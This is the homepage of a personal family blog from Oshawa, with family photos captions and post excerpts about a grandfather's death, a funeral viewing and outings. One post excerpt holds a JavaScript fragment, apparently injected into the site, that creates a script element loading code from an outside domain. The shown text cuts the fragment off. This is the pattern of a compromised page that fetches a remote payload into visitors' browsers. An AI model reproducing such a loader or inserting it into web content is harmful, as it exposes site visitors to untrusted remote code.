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Welcome to Matthew's Life
A living archive of daily life, local history, and community change in Oshawa and the Durham Region — as seen through the lens of Matthew Dykstra.
Meet the Dykstra Family
L to R: Siebolt (Dad), Dina (Mom), Matthew, (Brother & Uncle) Ivy-Maria (Niece), Lillian (Niece) & Christina. (Sister & Lillian & Ivy-Maria’s Mom)
Join Matthew Dykstra and his family as they welcome you into their world of adventure. From epic travels to everyday joys, the Dykstras live life with heart, curiosity, and connection. Follow their journey and find inspiration in the stories they share.
L to R: Jade, Zachary, Dina, Siebolt, Ivy-Maria, Aviah (Dog), Lillian, Ethan
Photos © 2022-2023 Christna-Maria Dykstra
Recent Journeys & Highlights
Viewing Today
The Viewing Was Today So Lillian Tells Us What We Remember About Her Great-Grandfather (David Dykstra)You May Also Like...
A Day With Dutchhoney81 & That Guy
Join My Sister Dutchhoney81 and Her Boyfriend as they go about their dayYou May Also Like... var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true;...
An Update
Hey Everyone, just an update on what has been going on with the funeral arrangements for my grandfather and spending time with my grandmotherYou May Also Like...
Family Death
Today We Lost A Very Special Man In Our Lives We Lost My Grandfather/Pakke/My Dad's Father. I don't really have much to say but I was hoping this would help me get some feelings out.You May Also Like...
Halloween Night Fun 2011
Halloween fun with Lilly and IvyYou May Also Like...
Tim Hortons with Dutchhoney81 (Part 2)
Join Us in Part 2 as we get some Tim Hortons and Go Pick Up Lilly From Opa and Oma's Place.You May Also Like...
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